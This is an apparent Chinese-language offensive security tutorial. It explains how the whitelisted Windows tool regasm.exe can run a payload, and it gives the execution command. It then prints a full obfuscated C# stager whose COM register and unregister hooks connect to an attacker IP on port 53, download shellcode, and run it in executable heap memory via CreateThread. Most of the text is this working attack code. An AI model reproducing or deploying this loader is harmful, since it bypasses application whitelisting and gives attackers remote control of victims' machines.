专注APT攻击与防御

https://micropoor.blogspot.com/

Regasm简介：

Regasm为程序集注册工具，读取程序集中的元数据，并将所需的项添加到注册表中。RegAsm.exe是Microsoft Corporation开发的合法文件进程。它与Microsoft.NET Assembly Registration Utility相关联。

说明：Regasm.exe所在路径没有被系统添加PATH环境变量中，因此，REGASM命令无法识别。

具体参考微软官方文档：https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly- registration-tool

基于白名单Regasm.exe配置payload：

Windows 7 默认位置：

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

攻击机：192.168.1.4 Debian

靶机： 192.168.1.3 Windows 7配置攻击机msf：

靶机执行：

1 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Micropoor.dll

附录：Micropoor.cs注：x86 payload

1 using System; using System.Net; using System.Linq; using System.Net.So ckets; using System.Runtime.InteropServices; using System.Threading; usin g System.EnterpriseServices; using System.Windows.Forms;

2 namespace HYlDKsYF

3 {

4 public class kxKhdVzWQXolmmF : ServicedComponent { 5

6 public kxKhdVzWQXolmmF() { Console.WriteLine("doge"); } 7

8 [ComRegisterFunction]

9 public static void RegisterClass ( string pNNHrTZzW )

10 {

11 ZApOAKJKY.QYJOTklTwn();

12 } 13

14 [ComUnregisterFunction]

15 public static void UnRegisterClass ( string pNNHrTZzW )

16 {

17 ZApOAKJKY.QYJOTklTwn();

18 }

19 } 20

21 public class ZApOAKJKY

22 { [DllImport("kernel32")] private static extern UInt32 HeapCreate(UIn t32 FJyyNB, UInt32 fwtsYaiizj, UInt32 dHJhaXQiaqW);

23 [DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 bqtaDNfVCzVox, UInt32 hjDFdZuT, UInt32 JAVAYBFdojxsgo);

24 [DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UIn t32 AQdEyOhn, byte[] wknmfaRmoElGo, UInt32 yRXPRezIkcorSOo);

25 [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt

32 uQgiOlrrBaR, UInt32 BxkWKqEKnp, UInt32 lelfRubuprxr, IntPtr qPzVKjdiF, UInt32 kNXJcS, ref UInt32 atiLJcRPnhfyGvp);

26 [DllImport("kernel32")] private static extern UInt32 WaitForSingleObje ct(IntPtr XSjyzoKzGmuIOcD, UInt32 VumUGj);static byte[] HMSjEXjuIzkkmo(st ring aCWWUttzmy, int iJGvqiEDGLhjr) {

27 IPEndPoint YUXVAnzAurxH = new IPEndPoint(IPAddress.Parse(aCWWUttzmy), iJGvqiEDGLhjr);

28 Socket MXCEuiuRIWgOYze = new Socket(AddressFamily.InterNetwork, Socke tType.Stream, ProtocolType.Tcp);

29 try { MXCEuiuRIWgOYze.Connect(YUXVAnzAurxH); }

30 catch { return null;}

31 byte[] Bjpvhc = new byte[4];

32 MXCEuiuRIWgOYze.Receive(Bjpvhc, 4, 0);

33 int IETFBI = BitConverter.ToInt32(Bjpvhc, 0);

34 byte[] ZKSAAFwxgSDnTW = new byte[IETFBI + 5];

35 int JFPJLlk = 0;

36 while (JFPJLlk < IETFBI)

37 { JFPJLlk += MXCEuiuRIWgOYze.Receive(ZKSAAFwxgSDnTW, JFPJLlk + 5, (IE TFBI ‐ JFPJLlk) < 4096 ? (IETFBI ‐ JFPJLlk) : 4096, 0);}

38 byte[] nXRztzNVwPavq = BitConverter.GetBytes((int)MXCEuiuRIWgOYze.Han dle);

39 Array.Copy(nXRztzNVwPavq, 0, ZKSAAFwxgSDnTW, 1, 4); ZKSAAFwxgSDnTW[0] = 0xBF;

40 return ZKSAAFwxgSDnTW;}

41 static void TOdKEwPYRUgJly(byte[] KNCtlJWAmlqJ) {

42 if (KNCtlJWAmlqJ != null) {

43 UInt32 uuKxFZFwog = HeapCreate(0x00040000, (UInt32)KNCtlJWAmlqJ.Lengt h, 0);

44 UInt32 sDPjIMhJIOAlwn = HeapAlloc(uuKxFZFwog, 0x00000008, (UInt32)KNC tlJWAmlqJ.Length);

45 RtlMoveMemory(sDPjIMhJIOAlwn, KNCtlJWAmlqJ, (UInt32)KNCtlJWAmlqJ.Leng th);

46 UInt32 ijifOEfllRl = 0;

47 IntPtr ihXuoEirmz = CreateThread(0, 0, sDPjIMhJIOAlwn, IntPtr.Zero, 0, ref ijifOEfllRl);

48 WaitForSingleObject(ihXuoEirmz, 0xFFFFFFFF);}} 49

50 public static void QYJOTklTwn() {

51 byte[] ZKSAAFwxgSDnTW = null; ZKSAAFwxgSDnTW = HMSjEXjuIzkkmo("192.16

8.1.4", 53);

52 TOdKEwPYRUgJly(ZKSAAFwxgSDnTW);

53 } } }

Micropoor